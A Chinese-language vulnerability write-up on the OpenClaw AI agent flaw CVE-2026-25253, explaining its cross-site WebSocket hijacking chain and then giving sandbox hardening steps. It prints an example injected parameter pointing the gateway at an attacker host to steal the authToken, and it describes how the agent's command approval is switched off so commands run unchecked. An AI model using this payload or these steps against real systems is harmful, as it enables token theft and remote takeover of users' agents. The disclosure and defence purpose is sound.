CVE-2026-25253(ClawJacked)漏洞详解:一键RCE,恶意网页窃取Token接管OpenClaw Agent
CVE-2026-25253(ClawJacked)深度解析:一键RCE,恶意网页即可偷token接管OpenClaw AI Agent
随着本地AI Agent框架的普及,OpenClaw(前身为Clawdbot/Moltbot)凭借强大的本地任务执行能力和多平台集成能力迅速成为许多开发者和企业的首选工具。然而,2026年披露的 CVE-2026-25253(ClawJacked) 漏洞却让所有用户面临严重风险:仅需用户点击一个恶意网页链接,就可在几毫秒内窃取认证令牌(authToken),实现远程代码执行(RCE),进而完全接管本地AI Agent。
该漏洞CVSS评分8.8(高危),影响所有2026.1.29版本之前的OpenClaw实例。本文将从OpenClaw的整体微服务架构入手,帮助读者理解漏洞的根源位置;接着讲解WebSocket通信原理;详细拆解ClawJacked攻击的全链路;最后介绍Linux Firejail与macOS sandbox-exec两大沙箱工具的原理与使用方法,并给出针对OpenClaw的实战安全加固步骤。
一、OpenClaw微服务架构概览
OpenClaw采用典型的**中心辐射式(hub-and-spoke)**微服务架构,以 Gateway 作为唯一控制平面,统一管理消息渠道、AI决策、设备能力与工具执行。
graph TD
A[消息渠道层<br>WhatsApp • Telegram • Slack<br>• Discord • 飞书 • 钉钉] -->|用户消息流入| B1
subgraph Gateway["Gateway(核心控制平面)<br>localhost:18789"]
direction TB
B1[Sessions]
B2[Channels]
B3[Tools]
B4[Events]
B1 --- B2 --- B3 --- B4
end
B1 <--> B2
B1 <--> B3
B1 <--> B4
Gateway --> F[Agent 层<br>LLM 决策引擎<br>Claude / GPT / Ollama / Qwen]
Gateway --> G[Nodes 层<br>设备端点<br>iOS / Android<br>Camera / GPS / …]
F -->|调用工具| H[Skills 层<br>插件工具包<br>Shell / Browser / File<br>Web / API / …]
classDef layer fill:#f9f9f9,stroke:#333,stroke-width:2px
class A,F,G,H layer
classDef gateway fill:#e6f3ff,stroke:#0066cc,stroke-width:2.5px
class Gateway gateway
核心层级说明:
-
消息渠道层:接入WhatsApp、Telegram、Slack、Discord、飞书、钉钉等,用户指令从这里进入系统。
-
Gateway(核心控制平面):监听在
localhost:18789,负责会话管理、渠道路由、工具注册、事件分发,是整个系统的唯一入口和出口。CVE-2026-25253正是利用了Gateway的Control UI和WebSocket连接逻辑缺陷。 -
Agent层:接入Claude、GPT、Ollama、Qwen等大模型,负责意图理解与任务规划。
-
Nodes层:运行在移动设备或边缘节点,提供摄像头、GPS等硬件能力。
-
Skills层:插件工具包,实现Shell命令、浏览器操作、文件读写、Web/API调用等实际执行能力。
数据流向:用户消息 → 渠道层 → Gateway → Agent(LLM决策) → 调用Skills/Nodes → 结果通过Gateway回传。
Gateway是所有流量的咽喉,一旦被劫持,整个链路都可能沦陷。
二、WebSocket协议原理:实时双向通信的“桥梁”
OpenClaw的Control UI与Gateway之间采用WebSocket实现实时交互。
WebSocket核心特点:
-
通过HTTP Upgrade握手(
Upgrade: websocket)将连接升级为持久双向通道。 -
全双工、低延迟,支持服务器主动推送。
-
连接保持长活,适用于控制面板、状态同步、实时指令下发。
OpenClaw正是利用这一特性,让前端UI能实时下发任务、接收执行结果,甚至传输敏感的authToken。
但也正是这一持久连接,成为ClawJacked攻击的切入点。
graph LR
A[攻击者服务器<br>hacker.com] -->|1. 受害者访问 hacker.com| B(受害者浏览器)
A -->|2. 注入恶意 JavaScript| B
subgraph 受害者浏览器
C[恶意 JavaScript]
end
B -->|浏览器图标| C
C -->|3. 尝试建立 WebSocket 连接<br>到 localhost:18789| D[localhost:18789<br>OpenClaw 服务]
C -->|绕过 SOP<br>WebSocket 不强制 Origin 检查| D
D -->|漏洞: 未验证 Origin 头| C
C -->|4. SOP 不适用于 WebSocket<br>→ 可直接发送数据| D
C -.->|5. 通过浏览器作为跳板<br>窃取/操作 localhost 数据| A
style D fill:#a8e6cf,stroke:#333
style C fill:#ff9999,stroke:#c00
三、ClawJacked攻击全链路:钓鱼 + 恶意网页 + 一键RCE
攻击者无需受害者机器暴露公网端口(Gateway默认仅监听127.0.0.1),只需诱导用户访问恶意网页即可完成全流程。
攻击核心机制:Cross-Site WebSocket Hijacking(CSWSH) + 本地服务参数注入
攻击步骤(毫秒级完成):
-
受害者被钓鱼诱导访问恶意网站(hacker.com)。
-
恶意JavaScript自动尝试连接受害者本地Control UI(http://127.0.0.1:18789),并通过URL参数注入恶意gatewayUrl:
?gatewayUrl=wss://attacker.com:8080/ws -
OpenClaw前端缺乏对gatewayUrl来源的严格校验,直接执行连接。
-
浏览器建立WebSocket到localhost:18789(同源策略对WebSocket握手不生效)。
-
Gateway未校验Origin头,接受跨站连接,将本地authToken等敏感数据发送给攻击者服务器。
-
攻击者拿到token后,通过浏览器作为“跳板”,向受害者localhost下发恶意指令:
- 关闭命令审批
- 修改执行环境为gateway(绕过容器)
- 执行任意系统命令(RCE)
恶意载荷本质:纯前端JavaScript + WebSocket客户端,无需下载、无文件落地,杀软几乎无法检测。
官方已在 v2026.1.29 强制增加“新gatewayUrl确认弹窗”,彻底封堵自动连接路径。强烈建议立即升级!
四、纵深防御:Firejail(Linux)与 sandbox-exec(macOS)
即使打上补丁,仍建议叠加沙箱,防止万一被接管也能限制破坏范围。
1. Firejail(Linux轻量级沙箱)
Firejail通过Linux Namespaces、Seccomp-BPF、capabilities降权等技术为进程创建隔离环境。
推荐profile示例(~/.config/firejail/openclaw.profile):
include /etc/firejail/default.profile
net none
whitelist ${HOME}/.openclaw
private-bin openclaw
seccomp
启动方式:
firejail --profile=openclaw.profile openclaw-gateway
2. sandbox-exec(macOS内置沙箱)
编写profile(openclaw.sb):
(version 1)
(deny default)
(allow file-read* file-write*
(subpath "/Users/yourname/.openclaw")
(subpath "/tmp/openclaw"))
(allow network-outbound
(remote tcp "api.openai.com" "localhost"))
(deny process-exec*
(with no-report))
启动方式:
sandbox-exec -f ~/openclaw.sb openclaw-gateway
五、实战加固OpenClaw完整步骤
Linux用户(Firejail):
-
升级至 ≥2026.1.29
-
创建自定义profile
-
修改启动脚本 / systemd服务:
ExecStart=/usr/bin/firejail --profile=openclaw.profile /usr/bin/openclaw-gateway -
重启并验证:
firejail --list
macOS用户(sandbox-exec):
-
升级版本
-
使用别名或修改LaunchAgent:
alias openclaw='sandbox-exec -f ~/openclaw.sb openclaw'
进阶建议:
-
优先沙箱Gateway进程,限制对~/.openclaw以外目录的访问
-
非root运行,定期轮换authToken
-
监控Gateway日志中的异常WebSocket连接和gatewayUrl变更
-
Skills层插件需人工审核
结语:安全是持续的过程
CVE-2026-25253(ClawJacked)再次证明:本地服务 + WebSocket + 缺少Origin/来源校验 = 致命组合。Gateway作为架构核心,一旦被劫持,整个Agent、Skills、Nodes链路都可能沦陷。
立即行动清单:
-
升级至最新版(≥2026.1.29)
-
部署Firejail或sandbox-exec
-
保持对任何可疑localhost链接的高度警惕
-
最小权限原则运行
安全之路,任重道远。欢迎在评论区分享你的加固经验或遇到的问题,我们一起守护本地AI时代的安全底线!

